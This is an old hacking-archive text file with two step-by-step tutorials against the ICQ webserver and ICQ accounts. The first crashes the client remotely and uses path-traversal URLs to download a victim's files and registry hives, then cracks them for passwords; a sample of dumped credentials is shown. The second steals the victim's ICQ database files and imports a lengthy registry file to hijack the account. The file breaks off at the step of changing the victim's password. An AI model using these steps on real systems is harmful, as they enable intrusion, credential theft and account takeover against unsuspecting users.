home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / icq.webserver.exploits.txt < prev    next >
Encoding:
Text File  |  1999-04-28  |  23.8 KB  |  665 lines
  1. ICQ Homepage Exploit
  2. By Shadow51
  3.  
  4.  
  5. Ever wondered why there is a little house beside the name of some people? That doesn't mean they are at home, it means
  6. they have the ICQ-Webserver running. The idiots who made it left huge bugs in it, like you can close their ICQ remotely,
  7. and even download their files. The only problem is that you can't see the files, so you have to know what you're
  8. downloading. 
  9.  
  10. To close the ICQ client: 
  11.  
  12. 1. Click on the start button 
  13. 2. Click on RUN 
  14. 3. Type Telnet 123.123.123.123 80 Of course replace the 123.123.123.123 by the IP of the victim (note that this bug
  15. only works on build 1700 and maybe a few others but I'm not sure). 
  16. 4. Press ENTER Wait until it connects 
  17. 5. Type QUIT Wait about 10 seconds. If they go offline that means it worked, if not, then it didn't work. Now suppose
  18. you want to get some of their files. 
  19.  
  20. Lets say that you want to see the file c:\windows\win.ini, and he or she has the ICQ-Webserver on: 
  21.  
  22. 1. Go to your browser 
  23. 2. Type http://123.123.123.123/.html/......../windows/win.ini 
  24. note that you need the /.html/ part. It will trick the server into believing it's a html file, and note that there are 8 dots
  25. /......../ (that means it goes back 4 dirs if the users ICQ dir is not in a standard place. It can cause problems, but 95% of
  26. the time it's in c:\progra~1\icq\ 
  27. 3. press ENTER in your browser
  28.  
  29. It will simply ask you where you want to save the file the you save it and do what ever you want with it. Now this is not all
  30. you can do. There are much better things with this exploit, like getting the user's password files and registry. If you are a
  31. lamer, I suggest you go and play with what you just learned, and stop reading now cause this is a bit too complicated for
  32. you :P. Okay, so you want to have the registry and all the passes. Okay, before you do this, I warn you that if the user
  33. your hacking is not using the same version of Windows you are using, you could end up with a lot of problems. Suppose
  34. you have Win98, and they have win95, and it wont work. An easy way to make sure it's the same version is to download
  35. their command.com with the exploit, and compare the size with your command.com. There are many other ways, but this
  36. is a good one. 
  37.  
  38. 1. Get 2 files http://123.123.123.123/.html/......../windows/user.dat and
  39. http://123.123.123.123/.html/......../windows/system.dat 
  40. Remember to change the IP when your done. 
  41. 2. Copy them in a directory. 
  42. 3. Make a backup copy of you c:\windows\user.dat and c:\windows\system.dat You're gonna want to have them back
  43. when you're done. 
  44. 4. Restart your computer 
  45. 5. Press F8 just before it boots up 
  46. 6. Choose "Command Prompt Only" 
  47. 7. Delete your current user.dat and system.dat and replace them with the ones from the guy you hacked 
  48. 8. Reboot your computer
  49. 9. Just before it boots, press F8 several times; choose safe mode.
  50. 10. Once booted in safe mode, click on start 
  51. 11. Click on RUN 
  52. 12. Type regedit
  53. 13. Press ENTER
  54. 14. Once in Regedit, click on the menu "Registry", then choose "Export Registry File..."
  55. 15. Save the file, then get yourself a Password Cracker
  56. 16. If all goes well, you now have all the users passwords.
  57. It should look something like this:
  58.  
  59. crypt_Blizzard_Storm : A@N
  60. www.mircosoft.com : Administration:PASSWORD
  61. *Rna\Dan\dannyk : q34ad6gt
  62. *Rna\Test\957935 : nar8s7yj
  63. *Rna\Test2\wolves : cyal8r
  64. *Rna\Test3\curtisph : q73vnrht
  65. *Rna\My Connection\USERNAME : PASSWORD
  66. *Rna\My Connection 3\USERNAME : PASSWORD
  67.  
  68. 17. Reboot
  69. 18. Press F8 at startup
  70. 19. Choose "Command Prompt Only"
  71. 20. Replace user.dat and system.dat with your originals that you previously had backed up
  72.  
  73. Shadow51 
  74. 29000000 
  75. Shadow51@writeme.com
  76.  
  77. -----------------------------------------------------------------------------------------------------------------------
  78.  
  79. ICQ Account Cracking
  80. By Shadow51
  81.  
  82.  
  83. A lot of people have been asking me how it would be possible to crack ICQ accounts. It's very easy, but unfortunately it
  84. doesn't work every time. All you do is put in this: 
  85. 1. Download the following files from the targeted users hard drive using the ICQ exploit:
  86. (replace 123.123.123.123 by the guys IP and UIN by the guys ICQ #)
  87. (note that there's 6 dots not 8)
  88.  
  89. http://123.123.123.123/.html/....../db/UIN.idx
  90. http://123.123.123.123/.html/....../db/UIN.dat
  91. http://123.123.123.123/.html/....../db/UINmsg.dat
  92. http://123.123.123.123/.html/....../db/UINmsg.idx
  93. http://123.123.123.123/.html/....../db/UINhis.idx
  94. http://123.123.123.123/.html/....../db/UINhis.dat
  95.  
  96. 2. Open Notepad and create a new document.
  97. 3. Copy this into it. (Replace all the HACKEDUIN by the UIN you're hacking)
  98. (I got this registry key from http://i.am/devil)
  99.  
  100. REGEDIT4
  101.  
  102. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN]
  103. "Name"="Hacked UIN"
  104.  
  105. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs]
  106. "Random Groups Version"=dword:0000000a
  107. "Online Color"=dword:00ff0000
  108. "Unlisted Color"=dword:00800000
  109. "Offline Color"=dword:000000ff
  110. "Authorize Color"=dword:00400080
  111. "Notify Color"=dword:00800080
  112. "LastStatus Color"=dword:00008000
  113. "Default File Dir"="C:\\Program Files\\ICQ\\Received Files"
  114. "SMTP Address"=""
  115. "DND Message"="Please do not disturb me now. Disturb me later."
  116. "Out Message"=""
  117. "Busy Message"="User is occupied. Only urgent messages will be delivered."
  118. "Chat Message"="I would like to chat about anything"
  119. "Away PreNum"=dword:00000000
  120. "Out PreNum"=dword:00000000
  121. "Busy PreNum"=dword:00000000
  122. "DND PreNum"=dword:00000000
  123. "Chat PreNum"=dword:00000000
  124. "File Options"=dword:00000004
  125. "URL Options"=dword:00000004
  126. "Chat Options"=dword:00000004
  127. "All Options"=dword:0000000e
  128. "EXT Options"=dword:00000004
  129. "Startup"="No"
  130. "Auto Away"="No"
  131. "Auto Hide Time"=dword:0000001e
  132. "Auto Hide"="No"
  133. "Move Server Top"="No"
  134. "Blink In Tray"="No"
  135. "Sort Lists"="Yes"
  136. "Show Online List"="No"
  137. "Remove AddFriend"="Yes"
  138. "Splash Open"="Yes"
  139. "History Last First"="Yes"
  140. "FloatTop"="Yes"
  141. "Thru Server"="No"
  142. "Join Chat"="No"
  143. "Open URL Browser"="No"
  144. "Refuse File NotInList"="No"
  145. "Overwrite ExistFile"="No"
  146. "Disable Online Alert"="Yes"
  147. "Accept Urgent In Busy"="No"
  148. "Blink Tray In AwayBusy"="Yes"
  149. "Use Contact List Color"="No"
  150. "Contact List Color"=dword:00c8b99d
  151. "Save User File"="Yes"
  152. "Auto Update"="Yes"
  153. "Search Wizard"="No"
  154. "Default Mailer"="Yes"
  155. "Pop Play Sound"="Yes"
  156. "Pop Auto Launch"="No"
  157. "Pop Check"="No"
  158. "Pop Time"=dword:0000000a
  159. "Check Headers"="Yes"
  160. "MoveToOutDelay"=dword:00000014
  161. "MoveToOut"="No"
  162. "MoveToAwayDelay"=dword:0000000a
  163. "MoveToAway"="No"
  164. "Auto Sleep Mode"="No"
  165. "Log History Events"="Yes"
  166. "Connection Type"="Permanent"
  167. "Firewall"="Yes"
  168. "UseGivenIP"="No"
  169. "Socks"="No"
  170. "SocksPort"=dword:00000438
  171. "SocksServer"="Enter your socks server"
  172. "ProxySocks4Host"="Enter your proxy server"
  173. "ProxySocks4Port"=dword:00000438
  174. "UseProxySocks4"="No"
  175. "GiveStats"="No"
  176. "SocksVersion"=dword:00000004
  177. "SocksAuthentication"=dword:00000000
  178. "FirewallTimeout"=dword:0000001e
  179. "UseFirewallTimeout"="No"
  180. "UseFirewallRangePorts"="Yes"
  181. "FirewallFromPort"=dword:000059d8
  182. "FirewallToPort"=dword:00007148
  183. "Old Sockets"="No"
  184. "UserType"=dword:00000000
  185. "Mail Receipients"=";"
  186. "Random Available"="No"
  187. "RandomGroupName"=dword:00000001
  188. "Random Name"="#Ñd╢│ 666 ú["
  189. "Allow Secure Clients Only"="Yes"
  190. "PhoneApproval"="Yes"
  191. "PhoneToneTime"=dword:00000032
  192. "PhonePauseTime"=dword:000001f4
  193. "PhoneBreakTime"=dword:00000028
  194. "PhoneSettings"=dword:00000001
  195. "PhonePauseChar"=","
  196. "PhoneLocalP"=" "
  197. "PhoneLongP"=" "
  198. "PhoneInterP"=" "
  199. "Chat RoomName"="Product Support / Suggestion"
  200. "Auto Join Chat Room"="Yes"
  201. "Novice Counter"=dword:0000000a
  202. "Menu Counter"=dword:00000013
  203. "Servers Version"=dword:00000001
  204. "Externals Version"=dword:00000019
  205. "Stats"=hex:60,ff,ea,52,5c,36,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  206. 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  207. 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  208. 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  209. 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  210. 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  211. 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  212. 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  213. 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  214. "Novice"="No"
  215. "Dropped Users"=hex:01,00,00,00,43,ca,35,00,e6,02,1f,00
  216. "State Flags"=dword:00000000
  217. "Server Msg Version"=dword:0000000b
  218. "Server Msg Shown"=dword:00000001
  219. "Server Msg Count"=dword:00000009
  220. "LeftButton Warning"="No"
  221. "Menu Left Click"="No"
  222. "Tip Startup"="No"
  223. "Tip Position"=dword:00000000
  224. "MoreEvents Warning"="No"
  225. "Invisible Warning"="No"
  226. "Send Later Warning Off"="No"
  227. "Busy Warning"="No"
  228. "Away Warning"="No"
  229. "DND Warning"="No"
  230. "FT Warning"="No"
  231. "Ext Warning"="No"
  232. "Out Warning"="No"
  233. "Chat Warning"="No"
  234. "Away Message"="User is currently away\r\nYou can leave him/her a message"
  235. "Random Comment"="You won't be hurt by things you don't care.\r\n\r\n(c) Calvin's Labs, 1993-1998. No Rights
  236. Reserved.\r\nIt's not a secret. It's not a magic. It's not a myth."
  237.  
  238. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\YOURUIN\Prefs\Presets]
  239. "OutMsg Presets 0"="I'm out'a here. See you tomorrow!"
  240. "DNDMsg Presets 0"="Please do not disturb me now. Disturb me later."
  241. "Away PresetsMsg 0"="Away"
  242. "Out PresetsMsg 0"="Out for the day"
  243. "Busy PresetsMsg 0"="Busy"
  244. "DND PresetsMsg 0"="DND"
  245. "Chat PresetsMsg 0"="Chat"
  246. "AwayMsg Presets 1"="I am out to lunch. I will return shortly."
  247. "OutMsg Presets 1"=""
  248. "DNDMsg Presets 1"="I am currently in a meeting. I can't be disturbed."
  249. "ChatMsg Presets 1"="Come Join my chat room!"
  250. "Away PresetsMsg 1"="Lunch"
  251. "Out PresetsMsg 1"="Not here"
  252. "Busy PresetsMsg 1"="Meeting"
  253. "DND PresetsMsg 1"="Meeting"
  254. "Chat PresetsMsg 1"="Come In"
  255. "AwayMsg Presets 2"="Don't go anywhere! I'll be back in a jiffy!"
  256. "OutMsg Presets 2"="I'm closed for the weekend/holidays."
  257. "DNDMsg Presets 2"="Don't disturb my concentration!"
  258. "ChatMsg Presets 2"="Don't miss out on the fun! Join our chat!"
  259. "Away PresetsMsg 2"="Be right back"
  260. "Out PresetsMsg 2"="Closed"
  261. "Busy PresetsMsg 2"="Concentration"
  262. "DND PresetsMsg 2"="Concentration"
  263. "Chat PresetsMsg 2"="Fun"
  264. "AwayMsg Presets 3"="I'm out with the dog. Be back when he's finished."
  265. "OutMsg Presets 3"="Gone fishin'."
  266. "DNDMsg Presets 3"="I'm on the phone with a very important client. Don't disturb me!"
  267. "ChatMsg Presets 3"="What are you waiting for? Come on in!"
  268. "Away PresetsMsg 3"="Dog Walk"
  269. "Out PresetsMsg 3"="Fishing"
  270. "Busy PresetsMsg 3"="On the Phone"
  271. "DND PresetsMsg 3"="On the Phone"
  272. "Chat PresetsMsg 3"="Don't Wait"
  273. "AwayMsg Presets 4"="Went out for a smoke. "
  274. "OutMsg Presets 4"="I'm sleeping. Don't wake me."
  275. "DNDMsg Presets 4"="I can't chat with you now. I'm busy."
  276. "ChatMsg Presets 4"="We'd love to hear what you have to say. Join our chat."
  277. "Away PresetsMsg 4"="Smoke"
  278. "Out PresetsMsg 4"="Sleeping"
  279. "Busy PresetsMsg 4"="Can't chat "
  280. "DND PresetsMsg 4"="Can't chat "
  281. "Chat PresetsMsg 4"="Hear"
  282. "AwayMsg Presets 5"="On my Coffee break."
  283. "OutMsg Presets 5"="Went home. Had to feed the kids."
  284. "DNDMsg Presets 5"="Can't you see I'm working?"
  285. "ChatMsg Presets 5"="Enter your chat room message here"
  286. "Away PresetsMsg 5"="Coffee"
  287. "Out PresetsMsg 5"="Kids"
  288. "Busy PresetsMsg 5"="Working"
  289. "DND PresetsMsg 5"="Working"
  290. "Chat PresetsMsg 5"="Empty"
  291. "AwayMsg Presets 6"="Went to get some fresh air."
  292. "OutMsg Presets 6"="Gone for good."
  293. "DNDMsg Presets 6"="Enter your occupied message here"
  294. "ChatMsg Presets 6"="Enter your chat room message here"
  295. "Away PresetsMsg 6"="Air"
  296. "Out PresetsMsg 6"="Gone"
  297. "Busy PresetsMsg 6"="Conversing"
  298. "DND PresetsMsg 6"="Empty"
  299. "Chat PresetsMsg 6"="Empty"
  300. "BusyMsg Presets 7"="User is occupied. Only urgent messages will be delivered."
  301. "DNDMsg Presets 7"="Enter your occupied message here"
  302. "ChatMsg Presets 7"="Enter your chat room message here"
  303. "Away PresetsMsg 7"="Empty"
  304. "Out PresetsMsg 7"="Empty"
  305. "Busy PresetsMsg 7"="Empty"
  306. "DND PresetsMsg 7"="Empty"
  307. "Chat PresetsMsg 7"="Empty"
  308. "BusyMsg Presets 0"="User is currently Occupied"
  309. "ChatMsg Presets 0"="I would like to chat about anything"
  310. "BusyMsg Presets 1"="User is currently Occupied1"
  311. "BusyMsg Presets 2"="User is currently Occupied2"
  312. "BusyMsg Presets 3"="User is currently Occupied"
  313. "BusyMsg Presets 4"="User is currently Occupied"
  314. "BusyMsg Presets 5"="User is currently Occupied"
  315. "BusyMsg Presets 6"="User is currently Occupied"
  316. "AwayMsg Presets 7"="User is currently away"
  317. "OutMsg Presets 7"="User is currently N/A"
  318. "AwayMsg Presets 0"="User is currently away\r\nYou can leave him/her a message"
  319.  
  320. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD]
  321.  
  322. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message0]
  323. "Message"="Please bookmark our network status page."
  324. "URLName"="http://www.mirabilis.com/status.html"
  325. "URL"="press here"
  326. "Date"=""
  327.  
  328. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message1]
  329. "URLName"="http://www.mirabilis.com/emailsig.html"
  330. "URL"="Go to the ICQ e-mail signature generator"
  331. "Date"=""
  332.  
  333. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message2]
  334. "Message"="ICQ is doing it again! One more new service from ICQ for your pleasure! Create your ICQ interest group -
  335. home, work, family, hobby, affiliation, sports, music...etc..( It's straight forward, no HTML needed! )"
  336. "URLName"="http://www.icq.com/announcements/02.html"
  337. "URL"="It's fun and easy, GO!!"
  338. "Date"="31-MAR-98"
  339.  
  340. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message3]
  341. "URLName"="http://www.icq.com/announcements/whitepages.html"
  342. "URL"="Go!"
  343. "Date"="1-APR-98"
  344.  
  345. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message4]
  346. "Message"="ICQ can notify you when you receive an e-mail and show you the e-mail headers! Learn how to do it!"
  347. "URLName"="http://www.mirabilis.com/email.html"
  348. "URL"="E-mail notification instructions"
  349. "Date"="15-JUN-98"
  350.  
  351. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message5]
  352. "URLName"="http://www.icq.com/announcements/05.html"
  353. "URL"="Create your Greeting"
  354. "Date"="12-JUL-98"
  355.  
  356. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message6]
  357. "URLName"="http://www.icq.com/announcements/06.html"
  358. "URL"="Click For More Information"
  359. "Date"="26-AUG-98"
  360.  
  361. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message7]
  362. "Message"="ICQ can alert you when you receive Emails and show you the Email headers!"
  363. "URLName"="http://www.icq.com/announcements/07.html"
  364. "URL"="Learn how to do it"
  365. "Date"="06-SEPT-98"
  366.  
  367. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message8]
  368. "URLName"="http://www.icq.com/announcements/06.html"
  369. "URL"="Click For More Information"
  370. "Date"="20-OCT-98"
  371.  
  372. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups]
  373.  
  374. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup1]
  375. "Name"="General Chat"
  376. "Number"=dword:00000001
  377. "Version"=dword:00000001
  378.  
  379. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup2]
  380. "Name"="Romance"
  381. "Number"=dword:00000002
  382. "Version"=dword:00000002
  383.  
  384. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup3]
  385. "Name"="Games"
  386. "Number"=dword:00000003
  387. "Version"=dword:00000003
  388.  
  389. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup4]
  390. "Name"="Students"
  391. "Number"=dword:00000004
  392. "Version"=dword:00000004
  393.  
  394. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup5]
  395. "Name"="20 Something"
  396. "Number"=dword:00000006
  397. "Version"=dword:00000006
  398.  
  399. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup6]
  400. "Name"="30 Something"
  401. "Number"=dword:00000007
  402. "Version"=dword:00000007
  403.  
  404. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup7]
  405. "Name"="40 Something"
  406. "Number"=dword:00000008
  407. "Version"=dword:00000008
  408.  
  409. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup8]
  410. "Name"="50 Plus"
  411. "Number"=dword:00000009
  412. "Version"=dword:00000009
  413.  
  414. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Servers]
  415.  
  416. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Servers\Server1]
  417. "Host"="icq1.mirabilis.com"
  418. "Port"=dword:00000fa0
  419.  
  420. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals]
  421.  
  422. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Canasta]
  423. "Type"="Command"
  424. "Command Line"="/ip:"
  425. "Path"="C:\\Program Files\\Canasta\\Canasta.exe"
  426. "URL"="http://ourworld.compuserve.com/homepages/mharte"
  427. "Version"=dword:0000000f
  428.  
  429. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Connectix VideoPhone]
  430. "Type"="Extension"
  431. "Format"="/p:tcp /ac:"
  432. "Extension"="cvp"
  433. "URL"="http://www.connectix.com/html/videophone.html"
  434. "Version"=dword:00000009
  435.  
  436. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Cu-Seeme]
  437. "Type"="Command"
  438. "Command Line"=""
  439. "Path"="C:\\CUSEEME\\CUSEEM32.EXE"
  440. "URL"="http://www.cu-seeme.com/"
  441. "Version"=dword:00000006
  442.  
  443. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\IRIS Phone]
  444. "Type"="Extension"
  445. "Format"=""
  446. "Extension"="iru"
  447. "URL"="http://irisphone.com/"
  448. "Version"=dword:0000000a
  449.  
  450. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Microsoft VChat]
  451. "Type"="ServerExtension"
  452. "Format"="1.1\\n-u 1 -a "
  453. "Extension"="vce"
  454. "NumParameters"=dword:00000002
  455. "Server1"="vchat1.microsoft.com"
  456. "URL"="http://vchat1.microsoft.com"
  457. "Version"=dword:00000011
  458.  
  459. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Microsoft VChat\Param1]
  460. "ParamName"="World"
  461. "CanOtherChange"="No"
  462. "Param1"="#Compass"
  463. "Param2"="#BugWorld"
  464. "Param3"="#Fishbowl"
  465. "Param4"="#Lodge"
  466. "Param5"="#Lunar"
  467. "Param6"="#Lodge"
  468. "Param7"="#Practice"
  469. "Param8"="#RedDen"
  470. "Param9"="#TableTop"
  471.  
  472. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Microsoft VChat\Param2]
  473. "ParamName"="Avatar"
  474. "CanOtherChange"="Yes"
  475. "Param1"="Amani"
  476. "Param2"="Anderson"
  477. "Param3"="Brb"
  478. "Param4"="Cat"
  479. "Param5"="Crab"
  480. "Param6"="Dancer"
  481. "Param7"="Dred"
  482. "Param8"="Duggan"
  483. "Param9"="Joey"
  484. "Param10"="Lulu"
  485.  
  486. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Netscape CoolTalk]
  487. "Type"="Command"
  488. "Command Line"=""
  489. "Path"="C:\\Program Files\\Netscape\\Navigator\\CoolTalk\\CoolTalk.EXE"
  490. "URL"="http://home.netscape.com/comprod/products/navigator/version_3.0/communication/cooltalk/index.html"
  491. "Version"=dword:00000004
  492.  
  493. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Rikken on the Rockx]
  494. "Type"="ClientServer"
  495. "Client Command Line"="/CLIENT %i"
  496. "Server Command Line"="/SERVER"
  497. "Client Path"="C:\\Rikken\\Rikken.exe"
  498. "Server Path"="C:\\Rikken\\Rikken.exe"
  499. "URL"="http://www.dse.nl/~ramon/rikken/"
  500. "Version"=dword:00000017
  501.  
  502. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VDOPhone]
  503. "Type"="Extension"
  504. "Format"="callto://"
  505. "Extension"="vdp"
  506. "URL"="http://www.vdo.net/download/"
  507. "Version"=dword:00000003
  508.  
  509. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VidCall]
  510. "Type"="Command"
  511. "Command Line"=""
  512. "Path"="C:\\VidCall\\Corp.EXE"
  513. "URL"="http://www.access.digex.net/~vidcall/vidcall.html"
  514. "Version"=dword:00000008
  515.  
  516. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\WebPhone]
  517. "Type"="Extension"
  518. "Format"=""
  519. "Extension"="wpc"
  520. "URL"="http://www.webphone.com/"
  521. "Version"=dword:00000007
  522.  
  523. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Quake]
  524. "Type"="ClientServer"
  525. "Client Command Line"="-mpath +connect %i"
  526. "Server Command Line"="-mpath -listen"
  527. "Client Path"="c:\\quake_sw\\Q95.bat"
  528. "Server Path"="c:\\quake_sw\\Q95.bat"
  529. "Server1"="quake.xmisson.com"
  530. "URL"="http://www.idsoftware.com"
  531. "Version"=dword:00000010
  532.  
  533. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VoxChat]
  534. "Type"="ServerCommand"
  535. "Format"="GROUPNAME=i PORT=15000"
  536. "Path"="C:\\Program Files\\VoxChat\\VoxChat.exe"
  537. "NumParameters"=dword:00000001
  538. "Server1"="voxchat1.voxware.com"
  539. "Server2"="voxcha2.voxware.com"
  540. "URL"="http://www.voxchat.com/low/download.htm"
  541.  
  542. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VoxChat\Param1]
  543. "ParamName"="Room"
  544. "CanOtherChange"="No"
  545. "Param1"="#ICQ"
  546.  
  547. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\PhoneLocations]
  548. "LastUpdate"=dword:00000000
  549.  
  550. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Main]
  551. "SelectedCell"=dword:00000000
  552. "AlwaysOnTop"="Yes"
  553. "LeftBarWidth"=dword:000000ad
  554. "RightBarWidth"=dword:000000ad
  555. "FloatBar-Left"=dword:00000255
  556. "FloatBar-Right"=dword:00000307
  557. "FloatBar-Top"=dword:00000033
  558. "FloatBar-Bottom"=dword:000001f3
  559. "State"="Floating"
  560. "Minimized"="No"
  561.  
  562. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Windows]
  563. "Response"=dword:008f00c9
  564. "SearchWiz"=dword:006f00c0
  565. "NotifyWiz"=dword:006f00c0
  566. "posNovice"=dword:009300dc
  567. "posMOTD"=dword:00af00b7
  568. "posMenuConfig"=dword:00a900e7
  569. "RemoveUIN"=dword:00bb0108
  570. "Message"=dword:008b004f
  571. "Security"=dword:007400b4
  572. "Prefs"=dword:007f00ae
  573. "History"=dword:0096003a
  574. "File Request"=dword:009000f0
  575. "FileTransfer"=dword:009700ae
  576. "Info"=dword:009300d2
  577. "FetchUser"=dword:00e9010e
  578. "URL Message"=dword:00a00069
  579. "Away"=dword:00bd00f7
  580. "Chat Request"=dword:009f00dd
  581. "Contacts List"=dword:008300bd
  582. "Chat"=dword:008b00f5
  583. "Phone"=dword:000a000a
  584. "Phone Call Request"=dword:007700e5
  585.  
  586. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Search]
  587. "Place"=dword:00a400cc
  588. "Type"=dword:00000002
  589. "Width"=dword:01880188
  590.  
  591. [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\ICQ Chat]
  592. "ChatStyle Counter"=dword:00000003
  593. "Pen Color"=dword:0080ffff
  594. "Back Color"=dword:00004000
  595. "Send Focus"="Yes"
  596. "Enable Sounds"="Yes"
  597. "Name Bars"="Yes"
  598. "Always On Top"="No"
  599. "AutoColor"="No"
  600. "OverRide Format"="Yes"
  601. "Show Toolbar"="Yes"
  602. "State"=dword:00010000
  603. "New Font Name"="Times New Roman"
  604. "Char Set"=dword:00000000
  605. "IRCListWidth"=dword:00000006
  606. "Font Pitch"=dword:00000012
  607. "New Font Height"=dword:0000000e
  608. "Font Effects"=dword:00000000
  609. "AutoColor 0"=dword:00000000
  610. "AutoColor 1"=dword:00000080
  611. "AutoColor 2"=dword:00008000
  612. "AutoColor 3"=dword:00008080
  613. "AutoColor 4"=dword:00800000
  614. "AutoColor 5"=dword:00800080
  615. "AutoColor 6"=dword:00808000
  616. "AutoColor 7"=dword:00808080
  617. "AutoColor 8"=dword:00c0c0c0
  618. "AutoColor 9"=dword:000000ff
  619. "AutoColor 10"=dword:0000ff00
  620. "AutoColor 11"=dword:0000ffff
  621. "AutoColor 12"=dword:00ff0000
  622. "AutoColor 13"=dword:00ff00ff
  623. "AutoColor 14"=dword:00ffff00
  624. "AutoColor 15"=dword:00ffffff
  625. "Place-Left"=dword:0000000a
  626. "Place-Right"=dword:000001fe
  627. "Place-Top"=dword:0000000a
  628. "Place-Bottom"=dword:0000021a
  629. "New LogFile name"="ICQChatLog.txt"
  630. "New SaveFile name"="ICQChatSave.txt"
  631.  
  632. 4. Save the file as HACKEDICQ.REG
  633. 5. If you have ICQ open, close it.
  634. 6. Copy all the files you got earlier (the idx and dat files) into your ICQ\DB directory 
  635. ex: c:\progra~1\ICQ\db
  636. 7. Open the HACKEDICQ.REG file
  637. 8. When it asks if you would like to add this to your registry, click YES.
  638. 9. Open the DB convert program in your ICQ directory (It comes with ICQ99), then click on "Convert a old DB"
  639. 10. When it's done converting, close the DB converter. It should start ICQ automatically, but if it doesn't, open it
  640. manually.
  641. 11. If ICQ doesn't already start in the Hacked UIN, click on the ICQ menu, click on "Add/Change Current User", then
  642. click on "Change the Active User". Choose Hacked UIN. If it asks for the password, there's 2 things that may have
  643. happened:
  644.  
  645. I. They have the protection set on high. The only way of getting past the protection is to download the ICQ CRACK.
  646. II. They are sill online. The only thing you can do is wait until they go offline.
  647.  
  648. 12. Once you are successfully in the users ICQ, quickly change the users password. Once this is complete, you will be in
